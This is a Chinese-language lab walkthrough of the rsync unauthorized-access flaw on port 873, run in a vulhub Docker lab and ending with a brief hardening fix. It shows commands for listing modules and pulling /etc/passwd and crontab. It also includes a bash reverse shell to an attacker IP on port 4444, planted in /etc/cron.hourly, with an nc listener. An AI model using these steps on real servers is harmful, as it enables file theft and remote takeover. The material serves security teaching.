1.漏洞名称

Rsync 未授权访问漏洞

2.漏洞原理

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。 其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。

3.漏洞利用

vulhub环境靶机 : 192.168.91.130
攻击机:kali 192.168.91.128

一、环境搭建

vulhub环境搭建
​ 在纯净ubuntu中部署vulhub环境:

​ 1、安装docker,并用docker -v命令验证安装结果;
​ curl -s https://get.docker.com/ | sh

在这里插入图片描述

​ 2、安装python-pip,并用pip -V命令验证安装结果;
sudo apt-get install python-pip

在这里插入图片描述

​ 3、安装docker-compose,并用docker-compose -v验证安装结果
​ pip install docker-compose

在这里插入图片描述

​ 4、将vulhub解压至ubuntu一个路径下:/vulhub-master/
​ 5、进入到相应的漏洞下,docker-compose up -d命令启动容器,使用docker-compose down命令关闭容器。
cd /vulhub-master/rsync/common
sudo docker-compose build //建立 

在这里插入图片描述

sudo docker-compose up

在这里插入图片描述

二、Rsync非授权访问

可以对目标服务器进行扫描:

nmap -p 873 192.168.91.130

扫描结果:
在这里插入图片描述
Rsync非授权访问利用
查看模块名列表:

rsync rsync://192.168.91.130:873/

查看src模块

rsync rsync://192.168.91.130:873/src

结果如下:
在这里插入图片描述
可以看到目标机器的目录已经被列举出来了:
利用方法
下载文件

rsync -av rsync://192.168.91.130/src/etc/passwd /root/passwd.txt

执行结果:
在这里插入图片描述
在这里插入图片描述

上传文件反弹shell
查看crontab配置文件:

rsync rsync://192.168.91.130/src/etc/crontab

下载crontab配置文件:

rsync -av rsync://192.168.91.130/src/etc/crontab /root/crontab.txt

查看其内容:
在这里插入图片描述
在这里插入图片描述

其中

17 * * * * root cd / && run-parts --report /etc/cron.hourly

表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
shell 写法如下:

#!/bin/bash 
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1

赋予执行权限:

chmod +x shell

将shell上传至/etc/cron.hourly

rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly

本地监听:

nc -nvv -lp 4444

实验可以自己去修改/etc/crontab配置文件
查看docker容器 ID

docker ps 

在这里插入图片描述
在这里插入图片描述进入docker

sudo docker exec -it a6cb5e784225 bash

在这里插入图片描述
打开/etc/crontab配置文件(vim自己安装。。)

vim /etc/crontab

把时间修改成自己想要的就好
在这里插入图片描述
等待时间的到来即可。成功反弹shell
在这里插入图片描述

4.漏洞修复

vim /etc/rsync.conf

写入以下代码

hosts allow xxx.xxx.xxx.xxx
auth users = rsync
secrets file = /etc/rsyncd.passwd

新建一个文件

vim /etc/rsyncd.passwd

按一下格式写入能登陆的用户名和密码

username :password

就ok

GitHub 加速计划 / li / linux-dash
10.39 K
1.2 K
下载
A beautiful web dashboard for Linux
最近提交(Master分支:2 个月前 )
186a802e added ecosystem file for PM2 4 年前
5def40a3 Add host customization support for the NodeJS version 4 年前
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐